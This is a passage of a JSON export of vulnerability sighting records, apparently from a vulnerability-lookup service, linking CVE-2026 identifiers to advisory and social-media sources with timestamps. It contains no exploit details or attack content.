"creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d89bffc5-5b96-4f81-af39-192c59bcd700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20967", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "ba7ed6a6-314f-4407-bf04-303db5828fba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20936", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "76db8208-4f53-49d6-837d-2e0a56e4051a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2096", "type": "seen", "source": "https://www.twcert.org.tw/en/cp-139-10700-3534d-2.html", "content": "", "creation_timestamp": "2026-02-06T12:06:00.000000Z"}, {"uuid": "76edcf47-0787-437f-89b8-0e03a5b01247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "a60d9c3a-050d-471e-aa52-fad5256be74c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "3a7e16f3-05d2-47cc-a4bd-74741f9200d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20824", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "86fa68bf-1385-4c87-9904-8f0ab22b2b61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20832", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "a7955683-0f1e-46b6-bc07-42e5453303a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20828", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "5e8532db-05cb-4ff2-b6f3-d002b7d2fba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20843", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "60a29639-7721-411e-a9e9-3ce2642a8468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20868", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "88e4b111-bd61-4cf4-a5e3-50a0ab62109c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20856", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "967ee642-d4e4-4639-a929-cf931447109f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20927", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f7682cfc-6f32-4dce-9c04-0f9ac106dc79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20118", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116211519204223592", "content": "", "creation_timestamp": "2026-03-11T16:37:38.681852Z"}, {"uuid": "b8e462f3-94bc-44c4-9916-6f597dfb6f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20116", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116211519204223592", "content": "", "creation_timestamp": "2026-03-11T16:37:38.952772Z"}, {"uuid": "bcd443bd-2ea3-485a-bfe0-12c550f2024d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20848", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "3e1350d5-3319-4961-9d96-8214c3043455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20919", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "dd3aa445-a074-41d4-bd65-0ee14839aee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20926", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f1ccb28e-f73b-4836-b3d5-a13a86dd193b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20934", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "9ad77880-419a-4982-a967-020052187096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20834", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "eb168de4-166a-4589-b138-43b8a857c7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "a121bfdc-aab3-42c6-b367-ca5e01326ce2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20938", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "3c183efd-0aca-4f99-a6d1-e2003b68ab86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20074", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116211519204223592", "content": "", "creation_timestamp": "2026-03-11T16:37:38.781363Z"}, {"uuid": "71ee38c2-9f87-40c7-95dd-3cf02b629337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mhdlxaw7ev2x", "content": "", "creation_timestamp": "2026-03-18T13:32:08.614181Z"}, {"uuid": "8c5fdd36-15b4-4bc0-9a07-8ed9479eba05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20819", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "5a99c15c-b39d-4ff8-8f64-74530bf34bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20935", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d4b79ff0-66c4-4f87-8de4-424645121fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20853", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "9015f85a-92d7-413f-a0ee-4c2df57fb53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20870", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "690760cb-da28-49e7-8db5-78298f21b70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20944", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "ad30e4d3-1e37-41a7-af89-b7a0e18356e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20948", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "ba63cdf2-4163-4e1c-8bd3-8402cf297da4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20947", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "cb1b6e8b-c4ca-42eb-bcd0-6f1407ceda69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20951", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "1577c4b4-bda5-4033-805f-be7b8408603b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20040", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116211519204223592", "content": "", "creation_timestamp": "2026-03-11T16:37:38.870243Z"}, {"uuid": "62770cd4-dbde-44da-85f5-9b815df0fa81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20959", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "cc88c018-1fca-4c54-90e2-035ec9d0ef4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "612efaad-70bd-4278-b7ff-20d5259d8c52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20958", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "0d1ea0fd-e376-4678-bdbc-8f1a235a9cf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20943", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "5d24d201-82f0-4607-a6b4-628a0e59bb3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20953", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "ca939fc2-864c-457f-b2ec-b665f30ef0ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20952", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "73c432ca-79cb-404e-ac09-a6ff34eeed01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20117", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116211519204223592", "content": "", "creation_timestamp": "2026-03-11T16:37:39.055159Z"}, {"uuid": "0ec0cebf-095c-4169-bb6c-07c33d9403ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20004", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtifpqj72r", "content": "", "creation_timestamp": "2026-03-26T14:40:14.443259Z"}, {"uuid": "3ad3bd21-e507-4b44-8525-989f1c1802b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20125", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtifpqj72r", "content": "", "creation_timestamp": "2026-03-26T14:40:14.948170Z"}, {"uuid": "f2010a0c-9471-4391-8d31-4e6233953197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20946", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "2d5331f2-8d5a-4384-81df-bb4097d94962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20955", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "d6c0e651-d156-4724-b17a-60b5c33911ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20956", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "240813d2-d9de-4f9d-950a-f5c4d0c1455a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20949", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "fd072941-bf42-41c7-a7cd-4756d54c673b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20950", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "376003aa-8dbb-487a-8c61-e7d857fa5ce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtifpqj72r", "content": "", "creation_timestamp": "2026-03-26T14:40:14.566865Z"}, {"uuid": "e0a0cd15-7156-4a00-a8ca-5e2e696d2753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20957", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-01-13T18:18:45.000000Z"}, {"uuid": "811f4278-22e1-4ca3-a9af-f1680a6f8244", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20084", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtifpqj72r", "content": "", "creation_timestamp": "2026-03-26T14:40:14.659500Z"}, {"uuid": "4fbefd46-fac3-4243-b596-58fc240017e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20086", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhxtifpqj72r", "content": "", "creation_timestamp": "2026-03-26T14:40:14.750272Z"}, {"uuid": "35cf287a-c28b-4bc5-b5dc-20e4377e1387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0009", "content": "", "creation_timestamp": "2026-01-13T18:17:59.000000Z"}, {"uuid": "ede5f7a2-54d0-455b-918c-60708accf304", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20871", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-044/", "content": "", "creation_timestamp": "2026-01-13T05:00:00.000000Z"}, {"uuid": "70c80b9f-f1e7-46fb-968c-f508618560cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mcdjhqlmn72w", "content": "", "creation_timestamp": "2026-01-13T21:41:41.784895Z"}, {"uuid": "d33b6204-ceb7-410d-8af5-757726b87e04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20921", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "11737ebd-33e2-47c4-9afc-3277c1c1dd89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "2e72402c-db46-4e43-9c57-a77025959189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20824", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "b43332f5-e3bb-42e3-88ea-f8d487a63e4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20815", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "d86b2444-c39f-4ae3-ae6e-339f7aff0539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20835", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "d8fecc9f-7c9d-4c45-90f7-e8f8240c312c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20851", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "d76f3893-f69b-49f6-94a1-b58caa1254aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20830", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "ac9eea6a-74ae-4fec-8fe1-01f75962fb56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20837", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "76d43900-6199-4c43-8ab1-3ae65bf2e22b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20869", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "5477abc8-4bb4-442c-a866-cf883f39f5e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20936", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "1c8a1309-26d7-4317-a020-f239d7748ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20858", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "481129f6-1c25-43d9-863f-2b1f080f5f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20865", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "3f33e756-df1c-4fc0-9b1a-3086e542cff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20877", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "f56bb7e3-bf61-4b4c-a36c-4f883ed93c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20918", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "889668ac-e345-4187-8b34-ffd572934815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20923", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "296e1a42-cf32-4e0b-8a98-044e8ac00ee9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20924", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "637e7e3f-0903-47b1-bab6-b89aa1498fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20861", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "be1cf839-60dd-4176-8077-4c8977c9c668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20862", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "3cde2ea0-6765-4e53-85ec-e15a1457969d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20866", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "dee8e9e8-2012-4267-92b2-d93570d45b6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20867", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "24058bfc-72e6-47a6-80b5-1e4249b7986c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20873", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "9decd172-6bd7-49b2-8544-faffdbbaddf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20874", "type": "seen", "source": 